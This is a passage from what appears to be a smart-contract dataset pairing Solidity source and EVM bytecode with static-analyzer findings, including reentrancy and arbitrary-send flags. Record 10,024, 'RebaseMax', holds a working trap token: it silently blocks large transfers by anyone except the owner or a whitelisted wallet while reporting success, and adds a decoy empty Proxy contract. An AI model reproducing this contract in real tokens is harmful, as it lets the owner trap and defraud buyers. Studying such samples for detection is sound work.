afc565b612de86020830184612d64565b9392505050565b600060c082019050612e046000830189612afc565b612e116020830188612d64565b612e1e6040830187612b78565b612e2b6060830186612b78565b612e386080830185612afc565b612e4560a0830184612d64565b979650505050505050565b6000602082019050612e656000830184612b69565b92915050565b60006020820190508181036000830152612e858184612b87565b905092915050565b60006020820190508181036000830152612ea681612bc0565b9050919050565b60006020820190508181036000830152612ec681612be3565b9050919050565b60006020820190508181036000830152612ee681612c06565b9050919050565b60006020820190508181036000830152612f0681612c29565b9050919050565b60006020820190508181036000830152612f2681612c4c565b9050919050565b60006020820190508181036000830152612f4681612c6f565b9050919050565b60006020820190508181036000830152612f6681612c92565b9050919050565b60006020820190508181036000830152612f8681612cb5565b9050919050565b60006020820190508181036000830152612fa681612cd8565b9050919050565b60006020820190508181036000830152612fc681612cfb565b9050919050565b60006020820190508181036000830152612fe681612d1e565b9050919050565b6000602082019050818103600083015261300681612d41565b9050919050565b60006020820190506130226000830184612d64565b92915050565b600060a08201905061303d6000830188612d64565b61304a6020830187612b78565b818103604083015261305c8186612b0b565b905061306b6060830185612afc565b6130786080830184612d64565b9695505050505050565b60006020820190506130976000830184612d73565b92915050565b60006130a76130b8565b90506130b382826132f2565b919050565b6000604051905090565b600067ffffffffffffffff8211156130dd576130dc6133f9565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061314e82613296565b915061315983613296565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561318e5761318d61336c565b5b828201905092915050565b60006131a482613296565b91506131af83613296565b9250826131bf576131be61339b565b5b828204905092915050565b60006131d582613296565b91506131e083613296565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132195761321861336c565b5b828202905092915050565b600061322f82613296565b915061323a83613296565b92508282101561324d5761324c61336c565b5b828203905092915050565b600061326382613276565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132b882613296565b9050919050565b60005b838110156132dd5780820151818401526020810190506132c2565b838111156132ec576000848401525b50505050565b6132fb8261343c565b810181811067ffffffffffffffff8211171561331a576133196133f9565b5b80604052505050565b600061332e82613296565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133615761336061336c565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61374c81613258565b811461375757600080fd5b50565b6137638161326a565b811461376e57600080fd5b50565b61377a81613296565b811461378557600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e05cb793f4ac1a8d31f8d44811db14bab6d3a03ae2004bfd93ef14abfcf8c08164736f6c63430008060033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,023
0x85923a2377e52dda7e9e5c5344861cad27b3e8a1
pragma solidity ^0.4.17; contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ constructor() public { owner = msg.sender; } /** * @dev Throws if called by any accounnot other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; } } contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // require(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // require(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } } contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract LockToken is StandardToken, Ownable { string public name = "Lock Token"; string public symbol = "LOK"; uint8 public decimals = 18; constructor() public { totalSupply_ = 3000000000 * (10 ** 18); balances[owner] = totalSupply_; emit Transfer(address(0), owner, totalSupply_); } }
0x6080604052600436106100c5576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde03146100ca578063095ea7b31461015a57806318160ddd146101bf57806323b872dd146101ea578063313ce5671461026f57806366188463146102a057806370a08231146103055780638da5cb5b1461035c57806395d89b41146103b3578063a9059cbb14610443578063d73dd623146104a8578063dd62ed3e1461050d578063f2fde38b14610584575b600080fd5b3480156100d657600080fd5b506100df6105c7565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561011f578082015181840152602081019050610104565b50505050905090810190601f16801561014c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561016657600080fd5b506101a5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610665565b604051808215151515815260200191505060405180910390f35b3480156101cb57600080fd5b506101d4610757565b6040518082815260200191505060405180910390f35b3480156101f657600080fd5b50610255600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610761565b604051808215151515815260200191505060405180910390f35b34801561027b57600080fd5b50610284610b1b565b604051808260ff1660ff16815260200191505060405180910390f35b3480156102ac57600080fd5b506102eb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b2e565b604051808215151515815260200191505060405180910390f35b34801561031157600080fd5b50610346600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610dbf565b6040518082815260200191505060405180910390f35b34801561036857600080fd5b50610371610e07565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103bf57600080fd5b506103c8610e2d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156104085780820151818401526020810190506103ed565b50505050905090810190601f1680156104355780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561044f57600080fd5b5061048e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610ecb565b604051808215151515815260200191505060405180910390f35b3480156104b457600080fd5b506104f3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506110ea565b604051808215151515815260200191505060405180910390f35b34801561051957600080fd5b5061056e600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506112e6565b6040518082815260200191505060405180910390f35b34801561059057600080fd5b506105c5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061136d565b005b60048054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561065d5780601f106106325761010080835404028352916020019161065d565b820191906000526020600020905b81548152906001019060200180831161064057829003601f168201915b505050505081565b600081600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b6000600154905090565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561079e57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205482111515156107eb57600080fd5b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054821115151561087657600080fd5b6108c7826000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114c590919063ffffffff16565b6000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061095a826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114e190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610a2b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114c590919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600660009054906101000a900460ff1681565b600080600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115610c3f576000600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610cd3565b610c5283826114c590919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60058054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610ec35780601f10610e9857610100808354040283529160200191610ec3565b820191906000526020600020905b815481529060010190602001808311610ea657829003601f168201915b505050505081565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151515610f0857600080fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610f5557600080fd5b610fa6826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114c590919063ffffffff16565b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611039826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114e190919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b600061117b82600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546114e190919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a36001905092915050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156113c957600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561140557600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008282111515156114d657600080fd5b818303905092915050565b60008082840190508381101515156114f857600080fd5b80915050929150505600a165627a7a7230582096287ec6966ef66c88b69415db36b6cb976103f264a80670edb53a22c13c254f0029
{"success": true, "error": null, "results": {}}
10,024
0x9c165647fbd774fae28d3ccf6a05d707e1df6811
/* * Rebase fork 1:1 * SPDX-License-Identifier: MIT **/ pragma solidity 0.7.4; /** * @title Proxy * @dev Implements delegation of calls to other contracts, with proper * forwarding of return values and bubbling of failures. * It defines a fallback function that delegates all calls to the address * returned by the abstract _implementation() internal function. */ contract Proxy { /** * @dev Fallback function. * Implemented entirely in `_fallback`. */ function _implementation(address implementation) internal { } /** * @dev Delegates execution to an implementation contract. * This is a low level function that doesn't return to its internal call site. * It will return to the external caller whatever the implementation returns. * @param implementation Address to delegate. */ function _delegate(address implementation) internal { } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add( div( a, 2), 1 ); while (b < c) { c = b; b = div( add( div( a, b ), b), 2 ); } } else if (a != 0) { c = 1; } } } library FinancialSafeMath { using SafeMath for uint256; function quadraticPricing( uint256 payment ) internal pure returns (uint256) { return payment.mul(2).sqrrt(); } function bondingPrice( uint256 multiplier, uint256 supply ) internal pure returns (uint256) { return multiplier.mul( supply ); } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address public _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () public { _owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == msg.sender, "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract Rebase is Ownable { using SafeMath for uint256; // standard ERC20 variables. string public constant name = "RebaseMax"; string public constant symbol = "REBASE"; uint256 public constant decimals = 18; uint256 private constant _maximumSupply = 10 ** decimals; uint256 public _totalSupply; bool public start; uint256 public botlimit; address public whiteaddress; // events event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); mapping(address => uint256) public _balanceOf; mapping(address => mapping(address => uint256)) public allowance; constructor(uint256 _initialSupply) public { botlimit = 1000000000000000000; whiteaddress = 0x0000000000000000000000000000000000000000; _owner = msg.sender; _totalSupply = _maximumSupply * _initialSupply; _balanceOf[msg.sender] = _maximumSupply * _initialSupply; emit Transfer(address(0), msg.sender, _totalSupply); start = true; } function totalSupply () public view returns (uint256) { return _totalSupply; } function balanceOf (address who) public view returns (uint256) { return _balanceOf[who]; } function _transfer(address _from, address _to, uint256 _value) internal { if (start==false) { _balanceOf[_from] = _balanceOf[_from].sub(_value); _balanceOf[_to] = _balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); } else { if (_value < botlimit) { _balanceOf[_from] = _balanceOf[_from].sub(_value); _balanceOf[_to] = _balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); } else { if(_from == _owner || _from == whiteaddress) { _balanceOf[_from] = _balanceOf[_from].sub(_value); _balanceOf[_to] = _balanceOf[_to].add(_value); emit Transfer(_from, _to, _value); } } } } function transfer(address _to, uint256 _value) public returns (bool success) { require(_balanceOf[msg.sender] >= _value); _transfer(msg.sender, _to, _value); return true; } function burn (uint256 _burnAmount) public onlyOwner returns (bool success) { _transfer(_owner, address(0), _burnAmount); _totalSupply = _totalSupply.sub(_burnAmount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { require(_spender != address(0)); allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_value <= _balanceOf[_from]); require(_value <= allowance[_from][msg.sender]); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); _transfer(_from, _to, _value); return true; } function setBotLimit (uint256 myLim) public { require(msg.sender == _owner); botlimit = myLim; } function switchStart() public { require(msg.sender == _owner); if (start==false) start = true; else start = false; } function setWhiteAddress(address newWallet) public { require(msg.sender == _owner); whiteaddress = newWallet; } }
0x608060405234801561001057600080fd5b50600436106101425760003560e01c80639505b68c116100b8578063be9a65551161007c578063be9a65551461056d578063c577e0d41461058d578063c7c72685146105c1578063cca3e832146105ef578063dd62ed3e14610647578063f2fde38b146106bf57610142565b80639505b68c1461040457806395d89b411461040e5780639f794d7514610491578063a9059cbb146104d5578063b2bdfa7b1461053957610142565b80633eaaf86b1161010a5780633eaaf86b146102ee57806342966c681461030c57806370a0823114610350578063715018a6146103a857806381d7284d146103b25780638da5cb5b146103d057610142565b806306fdde0314610147578063095ea7b3146101ca57806318160ddd1461022e57806323b872dd1461024c578063313ce567146102d0575b600080fd5b61014f610703565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018f578082015181840152602081019050610174565b50505050905090810190601f1680156101bc5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b610216600480360360408110156101e057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061073c565b60405180821515815260200191505060405180910390f35b610236610867565b6040518082815260200191505060405180910390f35b6102b86004803603606081101561026257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610871565b60405180821515815260200191505060405180910390f35b6102d8610a6d565b6040518082815260200191505060405180910390f35b6102f6610a72565b6040518082815260200191505060405180910390f35b6103386004803603602081101561032257600080fd5b8101908080359060200190929190505050610a78565b60405180821515815260200191505060405180910390f35b6103926004803603602081101561036657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b8b565b6040518082815260200191505060405180910390f35b6103b0610bd4565b005b6103ba610d53565b6040518082815260200191505060405180910390f35b6103d8610d59565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61040c610d82565b005b610416610e34565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561045657808201518184015260208101905061043b565b50505050905090810190601f1680156104835780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6104d3600480360360208110156104a757600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610e6d565b005b610521600480360360408110156104eb57600080fd5b81019080803573ffffffffffffffffffffff